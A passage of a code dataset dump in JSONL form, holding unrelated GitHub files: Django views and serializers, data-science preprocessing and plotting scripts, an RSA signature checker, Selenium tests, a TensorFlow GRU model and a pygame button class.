row2.tax_rate }}\n {{ row2.qty_ordered_units }}\n {{ row2.qty_delivered_units }}\n {{ row2.qty_received_units }}\n {{ row2.qty_rejected }}\n {{ row2.reason_for_rejection }}\n {{ row2.reason_for_difference }}\n {{ row2.net_price }}\n {{ row2.tax_Price }}\n {{ row2.weight_total }}\n {{ row2.volume_total }} \"\"\"\n context['rowset2_totals'] = self.rowset2_totals\n context['rowset2_tablefooter'] = \"\"\" Totals\n \n \n \n \n \n \n \n \n {{ rowset2_totals.qty_ordered_units }}\n {{ rowset2_totals.qty_delivered_units }}\n {{ rowset2_totals.qty_received_units }}\n {{ rowset2_totals.qty_rejected }}\n \n \n {{ rowset2_totals.net_price }}\n {{ rowset2_totals.tax_Price }}\n {{ rowset2_totals.weight_total }}\n {{ rowset2_totals.volume_total }}\n \"\"\"\n if self.child2:\n context['tabletitle3'] = 'Child2'\n context['rowset3'] = self.child2\n context['rowset3_tableheader'] = \"\"\"\n \"\"\"\n context['rowset3_tablecolumns'] = \"\"\"\n \"\"\"\n\n context['detailform'] = self.detailform\n context['detailform_title'] = 'Detail'\n print('******* set context')\n return context\n","repo_name":"ashokpanigrahi88/datahubpython","sub_path":"enquiry/views/grnsum.py","file_name":"grnsum.py","file_ext":"py","file_size_in_byte":17447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26428851064","text":"from numpy import ndarray\nfrom pandas import DataFrame, read_csv, concat\nfrom matplotlib.pyplot import savefig, show, figure\nfrom sklearn.model_selection import train_test_split\nfrom dslabs_functions import dummify, get_variable_types, plot_multibar_chart, CLASS_EVAL_METRICS, run_NB, run_KNN, evaluate_approach\n\n\n\nfilename = \"class_pos_covid.csv\"\nfile_tag = \"class_pos_covid\"\ndata: DataFrame = read_csv(\n \"datasets/class_pos_covid.csv\", na_values=\"\", parse_dates=True, dayfirst=True\n)\nvars: dict[str, list] = get_variable_types(data)\n\ndf: DataFrame = data.dropna(how=\"any\", inplace=False)\n\nbinaries: dict[str, int] = {\"no\": 0, \"No\": 0, \"yes\": 1, \"Yes\": 1, \"Female\":0, \"Male\":1}\nencoding: dict[str, dict[str, int]] = {}\nfor bin_col in vars[\"binary\"]:\n\tencoding[bin_col] = binaries\n\nstate : dict[str, int] = {\"Virgin Islands\": 105870,\"Guam\": 170534,\"Wyoming\": 578803,\"Vermont\": \t645570,\n \"District of Columbia\": 670050,\"Alaska\": 732673,\"North Dakota\": 774948,\"South Dakota\": 895376,\"Delaware\": 1003384,\n \"Rhode Island\": 1095610,\"Montana\" : 1104271,\"Maine\": 1372247,\"New Hampshire\": 1388992,\"Hawaii\": 1441553,\n \"West Virginia\": 1782959,\"Idaho\": 1900923,\"Nebraska\": 1963692,\"New Mexico\": 2115877,\"Kansas\": 2934582,\n \"Mississippi\": 2949965,\"Arkansas\": 3025891,\"Nevada\": 3143991,\"Iowa\": 3193079,\"Puerto Rico\": 3263584,\n \"Utah\": 3337975,\"Connecticut\": 3605597,\"Oklahoma\": 3986639,\"Oregon\": 4246155,\"Kentucky\": 4509394,\n \"Louisiana\": 4624047,\"Alabama\": 5039877,\"South Carolina\": 5190705,\"Minnesota\": 5707390,\"Colorado\": 5812069,\n \"Wisconsin\": 5895908,\"Maryland\": 6165129,\"Missouri\": 6168187,\"Indiana\": 6805985,\"Tennessee\": 6975218,\n \"Massachusetts\": 6984723,\"Arizona\": 7276316,\"Washington\": 7738692,\"Virginia\": 8642274,\"New Jersey\": 9267130,\n \"Michigan\" : 10050811,\"North Carolina\": 10551162,\"Georgia\": 10799566,\"Ohio\": 11780017,\"Illinois\": 12671469,\n \"Pennsylvania\": 12964056,\"New York\": 19835913,\"Florida\": 21781128,\"Texas\": 29527941,\"California\": 39237836}\n\nhealth : dict[str,int] = {\"Poor\": 0,\"Fair\": 1,\"Good\": 2,\"Very good\": 3,\"Excellent\": 4}\n\nlast : dict[str,int] = {\"Within past year (anytime less than 12 months ago)\" : 0, \n \"Within past 2 years (1 year but less than 2 years ago)\" : 1, \n 'Within past 5 years (2 years but less than 5 years ago)': 2,\n '5 or more years ago': 5}\n\nsmoke : dict[str,int] = {\"Never smoked\": 0,\"Former smoker\": 1,\n \"Current smoker - now smokes some days\": 3,\n \"Current smoker - now smokes every day\": 7}\n\necig : dict[str,int] = {\"Never used e-cigarettes in my entire life\": 0,\n \"Not at all (right now)\": 1,\n \"Use them some days\": 3,\n \"Use them every day\": 7}\n\nencoding['State'] = state\nencoding['GeneralHealth'] = health\nencoding['LastCheckupTime'] = last\nencoding['SmokerStatus'] = smoke\nencoding['ECigaretteUsage'] = ecig\n\ndf: DataFrame = df.replace(encoding, inplace=False)\n\ndf = dummify(df, [\"RaceEthnicityCategory\"])\n\nAgeCategory: dict[str, int] = {\"Age 18 to 24\":0, \"Age 80 or older\":12}\nfor i in range(11):\n\tAgeCategory[f'Age {i*5 + 25} to {i*5 + 29}'] = i+1\nAgeCategory\nencoding: dict[str, dict[str, int]] = {\"AgeCategory\":AgeCategory}\n\ndf: DataFrame = df.replace(encoding, inplace=False)\n\nTetanusLast10Tdap: dict[str, int] = {\n\t\"Yes, received tetanus shot but not sure what type\":2, \n\t\"No, did not receive any tetanus shot in the past 10 years\":0, \n\t\"Yes, received Tdap\":7, \n\t\"Yes, received tetanus shot, but not Tdap\":3\n}\nencoding: dict[str, dict[str, int]] = {\"TetanusLast10Tdap\":TetanusLast10Tdap}\ndf: DataFrame = df.replace(encoding, inplace=False)\n\nHadDiabetes: dict[str, int] = {\n\t\"No, pre-diabetes or borderline diabetes\":1, \n\t\"Yes, but only during pregnancy (female)\":3, \n\t\"Yes\":2, \n\t\"No\":0\n}\nencoding: dict[str, dict[str, int]] = {\"HadDiabetes\":HadDiabetes}\ndf: DataFrame = df.replace(encoding, inplace=False)\n\nRemovedTeeth: dict[str, int] = {\"None of them\":0, \"1 to 5\":2, \"6 or more, but not all\":18, \"All\":32}\nencoding: dict[str, dict[str, int]] = {\"RemovedTeeth\":RemovedTeeth}\ndf: DataFrame = df.replace(encoding, inplace=False)\n\ntarget = \"CovidPos\"\n\nx = df.drop(columns=[target])\ny = df[target]\n\n# Split the data into training and test sets\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\ndf_train = concat([X_train, y_train], axis=1)\ndf_test = concat([X_test,y_test], axis=1)\n\nfigure()\neval: dict[str, list] = evaluate_approach(df_train, df_test, target=target, metric=\"recall\")\nplot_multibar_chart(\n [\"NB\", \"KNN\"], eval, title=f\"{file_tag} evaluation\", percentage=True\n)\nsavefig(f\"images/{file_tag}_eval.png\")\nshow()","repo_name":"esteves3/data-science","sub_path":"pos_covid_prep.py","file_name":"pos_covid_prep.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15446719079","text":"import unittest\r\nimport sys, os\r\nfrom builder import *\r\n\r\nsys.path.append(os.getcwd())\r\n\r\nclass Computer_Builder_Test(unittest.TestCase):\r\n director = Director()\r\n builder = Computer_Builder()\r\n director.builder = builder\r\n def test_Lasurit(self):\r\n print(\"Электро: \")\r\n self.director.Electro()\r\n self.builder.product.list_parts()\r\n\r\n def test_Shatura(self):\r\n print(\"\\nЭлкомп: \")\r\n self.director.Elcomp()\r\n self.builder.product.list_parts()\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()","repo_name":"ArtPr0g/lab","sub_path":"Лаб 4/TDD_test.py","file_name":"TDD_test.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33705731456","text":"\"\"\"Template Tags useful in courses views.\"\"\"\nfrom django import template\n\nregister = template.Library()\n\n\n@register.filter(is_safe=True)\ndef decode_class_type_plural(value: int):\n \"\"\"Translates a class type enum into plural form of a Polish word.\"\"\"\n types_dict = {\n 1: \"Wykłady\",\n 2: \"Ćwiczenia\",\n 3: \"Pracownie\",\n 5: \"Ćwiczenio-pracownie\",\n 6: \"Seminaria\",\n 7: \"Lektoraty\",\n 8: \"Zajęcia sportowe\",\n 9: \"Repetytoria\",\n 10: \"Projekty\",\n 11: \"Tutoring\",\n 12: \"Proseminaria\",\n }\n return types_dict.get(value, \"\")\n\n\n@register.filter(is_safe=True)\ndef decode_class_type_singular(value: int):\n \"\"\"Translates a class type enum into singular form of a Polish word.\"\"\"\n types_dict = {\n 1: \"Wykład\",\n 2: \"Ćwiczenia\",\n 3: \"Pracownia\",\n 5: \"Ćwiczenio-pracownia\",\n 6: \"Seminarium\",\n 7: \"Lektorat\",\n 8: \"Zajęcia sportowe\",\n 9: \"Repetytorium\",\n 10: \"Projekt\",\n 11: \"Tutoring\",\n 12: \"Proseminarium\",\n }\n return types_dict.get(value, \"\")\n","repo_name":"iiuni/projektzapisy","sub_path":"zapisy/apps/enrollment/courses/templatetags/course_types.py","file_name":"course_types.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"75"} +{"seq_id":"43416752658","text":"\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport seaborn as sns\ncolor = sns.color_palette()\n### matplotlib inline\n\nimport plotly.offline as py\npy.init_notebook_mode(connected=True)\nimport plotly.graph_objs as go\nimport plotly.tools as tls\n\npd.options.mode.chained_assignment = None\npd.options.display.max_columns = 999\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\nkiva_loans_df = pd.read_csv(\"../input/kiva_loans.csv\")\nkiva_loans_df.head()\nkiva_mpi_locations_df = pd.read_csv(\"../input/kiva_mpi_region_locations.csv\")\nkiva_mpi_locations_df.head()\nloan_theme_ids_df = pd.read_csv(\"../input/loan_theme_ids.csv\")\nloan_theme_ids_df.head()\nloan_themes_by_region_df = pd.read_csv(\"../input/loan_themes_by_region.csv\")\nloan_themes_by_region_df.head()\nkiva_loans_df.shape\ncnt_srs = kiva_loans_df['country'].value_counts().head(50)\ntrace = go.Bar(\n y=cnt_srs.index[::-1],\n x=cnt_srs.values[::-1],\n orientation = 'h',\n marker=dict(\n color=cnt_srs.values[::-1],\n colorscale = 'Viridis',\n reversescale = True\n ),\n)\n\nlayout = go.Layout(\n title='Country wise distribution of loans',\n width=700,\n height=1000,\n )\ndata = [trace]\nfig = go.Figure(data=data, layout=layout)\npy.iplot(fig, filename=\"CountryLoan\")\ncon_df = pd.DataFrame(kiva_loans_df['country'].value_counts()).reset_index()\ncon_df.columns = ['country', 'num_loans']\ncon_df = con_df.reset_index().drop('index', axis=1)\n\n#Find out more at https://plot.ly/python/choropleth-maps/\ndata = [ dict(\n type = 'choropleth',\n locations = con_df['country'],\n locationmode = 'country names',\n z = con_df['num_loans'],\n text = con_df['country'],\n colorscale = [[0,'rgb(255, 255, 255)'],[1,'rgb(56, 142, 60)']],\n autocolorscale = False,\n reversescale = False,\n marker = dict(\n line = dict (\n color = 'rgb(180,180,180)',\n width = 0.5\n ) ),\n colorbar = dict(\n autotick = False,\n tickprefix = '',\n title = 'Number of Loans'),\n ) ]\n\nlayout = dict(\n title = 'Number of loans by Country',\n geo = dict(\n showframe = False,\n showcoastlines = False,\n projection = dict(\n type = 'Mercator'\n )\n )\n)\n\nfig = dict( data=data, layout=layout )\npy.iplot( fig, validate=False, filename='loans-world-map')\ncnt_srs = kiva_loans_df['sector'].value_counts().head(25)\ntrace = go.Bar(\n y=cnt_srs.index[::-1],\n x=cnt_srs.values[::-1],\n orientation = 'h',\n marker=dict(\n color=cnt_srs.values[::-1],\n colorscale = 'Rainbow',\n reversescale = True\n ),\n)\n\nlayout = dict(\n title='Sector wise distribution of loans',\n )\ndata = [trace]\nfig = go.Figure(data=data, layout=layout)\npy.iplot(fig, filename=\"SectorLoan\")\ncnt_srs = kiva_loans_df['activity'].value_counts().head(25)\ntrace = go.Bar(\n y=cnt_srs.index[::-1],\n x=cnt_srs.values[::-1],\n orientation = 'h',\n marker=dict(\n color=cnt_srs.values[::-1],\n colorscale = 'Picnic',\n reversescale = True\n ),\n)\n\nlayout = dict(\n title='Activity wise distribution of loans',\n )\ndata = [trace]\nfig = go.Figure(data=data, layout=layout)\npy.iplot(fig, filename=\"ActivityLoan\")\nplt.figure(figsize=(8,6))\nplt.scatter(range(kiva_loans_df.shape[0]), np.sort(kiva_loans_df.loan_amount.values))\nplt.xlabel('index', fontsize=12)\nplt.ylabel('loan_amount', fontsize=12)\nplt.title(\"Loan Amount Distribution\")\nplt.show()\nplt.figure(figsize=(8,6))\nplt.scatter(range(kiva_loans_df.shape[0]), np.sort(kiva_loans_df.funded_amount.values))\nplt.xlabel('index', fontsize=12)\nplt.ylabel('loan_amount', fontsize=12)\nplt.title(\"Funded Amount Distribution\")\nplt.show()\nulimit = np.percentile(kiva_loans_df.loan_amount.values, 99)\nllimit = np.percentile(kiva_loans_df.loan_amount.values, 1)\nkiva_loans_df['loan_amount_trunc'] = kiva_loans_df['loan_amount'].copy()\nkiva_loans_df['loan_amount_trunc'].loc[kiva_loans_df['loan_amount']>ulimit] = ulimit\nkiva_loans_df['loan_amount_trunc'].loc[kiva_loans_df['loan_amount']= 3 and data[2] is not None:\n state = data[2]\n yield \"data:\" + str(progress_num) + ',' + action + ',' + state + \"\\n\\n\"\n\n return Response(generate(), mimetype='text/event-stream')\n","repo_name":"jmajaca/infobot-public","sub_path":"src/web_app/web/base_view.py","file_name":"base_view.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"6417551084","text":"class Solution:\n def isHappy(self, n: int) -> bool:\n if n==1 or n==7:\n return True\n \n if n == 2 or n == 3 or n == 4 or n == 5 or n == 6 or n == 8 or n == 9:\n return False\n \n num=0\n while n!=0:\n num+=(n%10)*(n%10)\n n=int(n/10)\n \n if self.isHappy(num)==True:\n return True\n \n return False\n","repo_name":"alexrusev03/LeetCode-Problems","sub_path":"Python/202. Happy Number.py3","file_name":"202. Happy Number.py3","file_ext":"py3","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71431452082","text":"#!/usr/bin/env python3\n\nimport sys\n\nfrom binascii import unhexlify\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.exceptions import InvalidSignature\n\nmsg = sys.argv[1].encode()\nsignature = unhexlify(sys.argv[2])\n\nwith open(\"/tmp/acme.pub\", \"rb\") as key_file:\n public_key = serialization.load_pem_public_key(\n key_file.read(),\n backend=default_backend()\n )\n\nchosen_hash = hashes.SHA256()\nhasher = hashes.Hash(chosen_hash, default_backend())\nhasher.update(msg)\ndigest = hasher.finalize()\n\ntry:\n public_key.verify(\n signature,\n msg,\n padding.PSS(\n mgf=padding.MGF1(hashes.SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n hashes.SHA256()\n )\n print('Verified')\nexcept InvalidSignature:\n print('Error')\n","repo_name":"fportantier/vulpy","sub_path":"utils/rsa-verify.py","file_name":"rsa-verify.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"75"} +{"seq_id":"26317334490","text":"import time\nimport random\nimport string\nfrom pages.basket_page import BasketPage\nfrom pages.product_page import ProductPage\nfrom pages.login_page import LoginPage\nimport pytest\nfrom pages.main_page import MainPage\n\nlink = \"http://selenium1py.pythonanywhere.com/en-gb/catalogue/the-shellcoders-handbook_209\"\nlinks = \"http://selenium1py.pythonanywhere.com\"\n\ndef test_guest_can_add_product_to_basket(browser):\n browser.delete_all_cookies()\n page = ProductPage(browser, link + \"/?promo=newYear2019\") # init Page Object, set to constructor driver and url\n page.open()\n page.add_product_to_basket()\n\n\n\nproduct_base_link = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207\"\nurls = [f\"{product_base_link}/?promo=offer{num}\" for num in range(10)]\nurls[7] = pytest.param(urls[7], marks=pytest.mark.xfail)\n\n@pytest.mark.parametrize('link', urls)\ndef test_guest_can_add_product_to_basket_with_promo(browser, link):\n browser.delete_all_cookies() ### it cleans up (for example: basket before adding next item) or before next action\n page = ProductPage(browser, link)\n page.open()\n page.add_product_to_basket()\n\n\n\ndef test_guest_should_see_login_link_on_product_page(browser):\n page = ProductPage(browser, link)\n page.open()\n page.should_be_login_link()\n\n\ndef test_guest_can_go_to_login_page_from_product_page(browser):\n page = ProductPage(browser, link)\n page.open()\n page.go_to_login_page()\n\n\ndef test_guest_cant_see_product_in_basket_opened_from_product_page(browser):\n browser.delete_all_cookies()\n page = ProductPage(browser, link)\n page.open()\n page.go_to_basket()\n basket_page = BasketPage(browser, browser.current_url)\n basket_page.should_not_be_checkout_button()\n basket_page.should_be_empty_basket_message_present()\n\n\n\nclass TestUserAddToBasketFromProductPage():\n @pytest.fixture(scope=\"session\", autouse=True)\n def setup(self, browser):\n email = random_char_email()\n # email = str(time.time()) + \"@fakemail.org\" ## 2nd option to generate emails\n password = random_string()\n\n login_page = LoginPage(browser, link)\n login_page.open()\n login_page.register_new_user(email, password)\n login_page.should_be_authorized_user()\n\n\n def test_user_cant_see_success_message(self, browser):\n page = ProductPage(browser, link)\n page.open()\n page.should_not_be_success_message()\n\n def test_user_can_add_product_to_basket(self, browser):\n page = ProductPage(browser, link)\n page.open()\n page.add_product_to_basket()\n\n\n\n\n\n\n\n\ndef random_string():\n symbols = string.ascii_letters + string.digits\n return (\"\".join([random.choice(symbols) for i in range(random.randrange(11, 15))]))\n\ndef random_char_email():\n random_emails = [\"a@gmail.com\", \"b@ya.ru\", \"c@mail.ru\", \"d@icloud.com\", \"e@company.com\", \"f@yahoo.com\", \"g@outlook.com\"]\n symbols = (''.join(random.choice(string.ascii_letters + string.digits) for i in range(random.randrange(3, 5))))\n return (symbols + random.choice(random_emails))","repo_name":"seredyan/stepik_study_project","sub_path":"test/test_product_page.py","file_name":"test_product_page.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38158722565","text":"import sys\nsys.path.append('/home/oraldo/src/maestria/ISW/Programa1/Code')\nsys.path.append('/home/oraldo/src/maestria/ISW/Programa5/Code')\nfrom listaSE import ListSE\nfrom calculatep import CalculateIntegrateSimpsonRule as Calculate\nimport math\n\nclass Searchtdistribution(object):\n '''Find the value of t for which integrating the Student’s t -distribution\n 'probability density function from 0 to t gives a result of p.'\n\n '''\n\n\n def __init__(self, url):\n fichero = open(url, \"r\")\n # Build a dictionary that contains the input tables\n history = [eval(line.replace('/n', '')) for line in fichero.readlines()]\n fichero.close()\n self.values_table = ListSE()\n # Storing values in a ListSE.\n for record in history:\n self.values_table.insertNodeLast(record)\n self.cal_isr = Calculate(\"../../Programa5/Code/history.txt\")\n\n def search_t(self, p1, dof):\n '''Search for t from p using a statistical approximation method\n\n '''\n t, d = 1.0, 0.5\n p0 = 0\n E = 0.0000001\n found = False\n p_ini = self.cal_isr.get_integral_value(t, dof, 10)\n posit = True if p_ini > p1 else False\n while (not found):\n p0 = self.cal_isr.get_integral_value(t, dof, 30)\n error = p0 - p1\n if abs(error) < E or error == 0:\n found = True\n else:\n # If the error sign changes\n if (posit and error < 0) or (not posit and error > 0):\n d /= 2\n posit = True if error > 0 else False\n if p0 < p1:\n t += d\n else:\n t -= d\n return t\n\n\n def search_all_t(self):\n '''Search all value's t per element in .\n\n '''\n res_t = 0\n result = []\n iterator = True\n if self.values_table:\n temp = self.values_table.getFirst()\n while (iterator):\n p, dof = temp.getElement()\n res_t = self.search_t(p, dof)\n if res_t:\n result.append([p, dof, res_t ])\n else:\n print('Error: Value not found')\n if temp == self.values_table.getLast():\n iterator = False\n else:\n temp = self.values_table.nextElement(temp)\n return result\n","repo_name":"ojacinto/psp_programs","sub_path":"Programa6/Code/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15276974547","text":"import tensorflow as tf\nimport numpy as np\nfrom com.learning.graph_helper import GraphBase\n\n\nn_input = 10 # RNN 单元输入节点的个数\nn_steps = 5 # 序列长度\nn_hidden = [128] # RNN 单元输出节点个数(即隐藏层个数) 1500\nn_output = 10 # 输出\nbatch_size = 128 # 小批量大小 128\niter = 1000 # 迭代次数\nshow_step = 10 # 显示步数\nlearning_rate = 1e-3 # 学习率\ndecay_step = 200 # 学习率下降\nkeep_probability = 0.9 # 保持率\ntest_flag = False # 测试\nsave_step = 100 # saving\ngraph_id = 'gru' # id\n\n\ndef single_layer_dynamic_gru(input_x, n_steps, n_hidden, seq_len):\n '''\n 返回动态单层GRU单元的输出,以及cell状态\n\n args:\n input_x:输入张量 形状为[batch_size,n_steps,n_input]\n n_steps:时序总数\n n_hidden:gru单元输出的节点个数 即隐藏层节点数\n '''\n\n input_x = tf.transpose(input_x, [1, 0, 2])\n # 可以看做隐藏层\n gru_cell = tf.contrib.rnn.GRUCell(num_units=n_hidden)\n # gru_cell = keras.layers.GRUCell(n_hidden)\n\n # 动态rnn函数传入的是一个三维张量,[batch_size,n_steps,n_input] 输出也是这种形状\n # hiddens, states = keras.layers.RNN(cell=gru_cell, inputs=input_x, dtype=tf.float32, sequence_length=seq_len, time_major=True)\n # hiddens, states = keras.layers.RNN(cell=gru_cell, return_sequences=True, return_state=True, inputs=input_x, dtype=tf.float32, sequence_length=seq_len,\n # time_major=True)\n\n hiddens, states = tf.nn.dynamic_rnn(cell=gru_cell, inputs=input_x,\n dtype=tf.float32, sequence_length=seq_len, time_major=True)\n\n # 注意这里输出需要转置 转换为时序优先的\n # hiddens = tf.transpose(hiddens, [1, 0, 2])\n return hiddens, states\n\n\ndef graph():\n # 定义占位符\n # batch_size:表示一次的批次样本数量batch_size n_steps:表示时间序列总数 n_input:表示一个时序具体的数据长度 即一共28个时序,一个时序送入28个数据进入 RNN 网络\n x_input = tf.placeholder(dtype=tf.float32, shape=[None, n_steps, n_input], name=\"x\")\n y_true = tf.placeholder(dtype=tf.float32, shape=[None, n_steps, n_output], name=\"y\")\n seq_lens = tf.placeholder(tf.int32, shape=[None], name=\"length\")\n keep_prob = tf.placeholder(tf.float32, name=\"keep_prob\")\n\n # 可以看做隐藏层\n hidden, states = single_layer_dynamic_gru(x_input, n_steps, n_hidden[0], seq_lens)\n\n # 取 RNN 最后一个时序的输出,然后经过全连接网络得到输出值\n hidden = tf.nn.dropout(hidden, keep_prob)\n print(np.shape(hidden))\n output = tf.contrib.layers.fully_connected(inputs=hidden, num_outputs=n_output, activation_fn=None)\n print(np.shape(output))\n\n '''\n 设置对数似然损失函数\n '''\n # 代价函数 J =-(Σy.logaL)/n .表示逐元素乘\n y_true_t = tf.transpose(y_true, [1, 0, 2])\n cross_entropy = tf.reduce_mean(tf.square(y_true_t[-1] - output[-1]))\n\n '''\n 求解\n '''\n global_step = tf.Variable(0, trainable=False)\n rate = tf.train.exponential_decay(learning_rate,\n global_step=global_step,\n decay_steps=decay_step, decay_rate=0.8)\n train_step = tf.train.AdamOptimizer(rate).minimize(cross_entropy, global_step=global_step)\n\n # 预测结果评估\n pose_accuracy = cross_entropy # 求损失\n\n return [train_step], [x_input, keep_prob, y_true, seq_lens], None, cross_entropy, output[-1] # TODO\n\n\ndef sequence_slice(seq, length):\n res = []\n for i in range(length - n_steps + 1):\n res.append(np.array([seq[i:i + n_steps]]))\n\n return np.concatenate(res, 0)\n\n\ndef batch_slice(batch):\n res = [[], [], []]\n for i in range(len(batch[0])):\n res[0].append(sequence_slice(batch[0][i], batch[2][i]))\n res[1].append(sequence_slice(batch[1][i], batch[2][i]))\n res[0] = np.concatenate(res[0])\n res[1] = np.concatenate(res[1])\n for i in range(len(res[0])):\n res[2].append(n_steps)\n return res\n\n\ndef batch_process(batch: list, is_train, local_step):\n if len(batch[0]) != batch_size or len(batch[0][0]) < n_steps:\n return None\n batch[0] = np.array(batch[0]).reshape((batch_size, -1, n_input))\n batch[1] = np.array(batch[1]).reshape((batch_size, -1, n_output))\n batch[2] = np.array(batch[2]).reshape((batch_size))\n if batch[2][0] < n_steps:\n return None\n batch = batch_slice(batch)\n if batch is None:\n return None\n\n if is_train:\n batch.insert(1, keep_probability)\n else:\n batch.insert(1, 1)\n\n return batch\n\n\ndef predict_process(batch: list, is_test):\n if is_test:\n global batch_size\n tmp = batch_size\n batch_size = len(batch[0])\n batch = batch_process(batch, False, 1)\n batch_size = tmp\n return batch\n if len(batch[0]) < n_steps:\n return None\n batch[0] = np.array(batch[0])[:, -n_steps:].reshape((-1, n_steps, n_input))\n batch.insert(1, 1)\n batch.insert(2, None)\n batch.insert(3, [n_steps])\n return batch[0:4]\n\n\ndef bind(g: GraphBase):\n g.set_steps(iter, show_step, save_step)\n g.set_callback(batch_process, predict_process)\n g.batch_size = batch_size\n g.graph_func = graph\n\n\nclass Graph(GraphBase):\n def __init__(self):\n GraphBase.__init__(self, graph_id)\n bind(self)\n\n\nif __name__ == '__main__':\n \"\"\"\n \"\"\"\n","repo_name":"Choconuts/LBAC","sub_path":"com/learning/dygru.py","file_name":"dygru.py","file_ext":"py","file_size_in_byte":5655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70852951604","text":"from django.contrib.auth import get_user_model\nfrom rest_framework import serializers\nfrom dj_rest_auth.registration.serializers import RegisterSerializer\nfrom dj_rest_auth.serializers import LoginSerializer, UserDetailsSerializer\nfrom django.db import IntegrityError\nfrom .models import *\n\nUserModel = get_user_model()\n\n\nclass CustomRegisterSerializer(RegisterSerializer):\n phone_number = serializers.CharField()\n fullname = serializers.CharField()\n birth = serializers.CharField()\n gender = serializers.CharField()\n userType = serializers.CharField()\n userPhoneNumber = serializers.CharField(required=False, allow_blank=True)\n height = serializers.FloatField()\n weight = serializers.FloatField()\n systolic = serializers.IntegerField()\n center = serializers.CharField(required=False, allow_blank=True)\n\n # diastolic = serializers.IntegerField()\n\n def create(self, validated_data):\n user_phone_number = validated_data.pop('userPhoneNumber', None)\n\n if user_phone_number:\n # 전화번호로 유저를 찾아서 연결\n try:\n user = User.objects.get(phone_number=user_phone_number)\n validated_data['user_id'] = user.id\n except User.DoesNotExist:\n raise serializers.ValidationError({'userPhoneNumber': '일치하는 유저가 없습니다.'})\n\n try:\n return super().create(validated_data)\n except IntegrityError as e:\n print(\"IntegrityError:\", e)\n if 'unique constraint' in str(e).lower() and 'phone_number' in str(e).lower():\n raise serializers.ValidationError({'phone_number': '이미 가입된 번호입니다.'})\n raise\n\n def get_cleaned_data(self):\n data = super().get_cleaned_data()\n data['phone_number'] = self.validated_data.get(\"phone_number\", \"\")\n data['fullname'] = self.validated_data.get(\"fullname\", \"\")\n data['birth'] = self.validated_data.get(\"birth\", \"\")\n data['gender'] = self.validated_data.get(\"gender\", \"\")\n data['userType'] = self.validated_data.get(\"userType\", \"\")\n data['userPhoneNumber'] = self.validated_data.get(\"userPhoneNumber\", \"\")\n data['height'] = self.validated_data.get(\"height\", \"\")\n data['weight'] = self.validated_data.get(\"weight\", \"\")\n data['systolic'] = self.validated_data.get(\"systolic\", \"\")\n data['center'] = self.validated_data.get(\"center\", \"\")\n # data['diastolic'] = self.validated_data.get(\"diastolic\", \"\")\n\n return data\n\n\nclass CustomLoginSerializer(LoginSerializer):\n user_type = serializers.CharField(source='user.userType', read_only=True)\n\n class Meta:\n model = User\n fields = '__all__'\n\n\nclass CustomUserDetailsSerializer(UserDetailsSerializer):\n is_superuser = serializers.BooleanField(read_only=True)\n\n class Meta:\n extra_fields = []\n if hasattr(UserModel, \"USERNAME_FIELD\"):\n extra_fields.append(UserModel.USERNAME_FIELD)\n if hasattr(UserModel, \"EMAIL_FIELD\"):\n extra_fields.append(UserModel.EMAIL_FIELD)\n\n model = UserModel\n fields = ('pk', *extra_fields, 'first_name', 'last_name', 'userType', 'is_superuser')\n read_only_fields = ('email',)","repo_name":"CSID-DGU/2023-2-SCS4031-01-Capsaicin","sub_path":"backend/accounts/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42186680073","text":"import pygame\n\n\nclass Button:\n\n def __init__(self, ai_game, msg):\n \n pygame.init()\n \"\"\"Initialize button attributes.\"\"\"\n self.screen = ai_game.screen\n self.screen_rect = self.screen.get_rect()\n # Set the dimensions and properties of the button.\n self.width , self.height = 200, 50\n self.msg = msg\n\n # set color of buttons\n self._set_button_color()\n self.text_color = (255, 255, 255)\n self.font = pygame.font.SysFont('Calibri', 48, True)\n # Build the buttons'rect object.\n self.make_rect()\n # The button message needs to be prepped only once.\n self._prep_msg()\n\n def _set_button_color(self):\n '''set buttoms color '''\n if self.msg == 'Easy':\n self.button_color = (0,255,0)\n elif self.msg == 'Normal':\n self.button_color = (255,255,0)\n elif self.msg == 'Hard':\n self.button_color = (255,0,0)\n elif self.msg == 'Play':\n self.button_color = (0,0,0)\n \n\n\n def make_rect(self):\n '''place each button in a right place based on their color'''\n self.rect = pygame.Rect(0, 0, self.width, self.height)\n if self.msg == 'Normal':\n self.rect.center = self.screen_rect.center\n self.rect.centery = self.screen_rect.centery + self.rect.height + 10\n elif self.msg == 'Easy':\n self.rect.centerx = self.screen_rect.centerx - self.rect.width -10\n self.rect.centery = 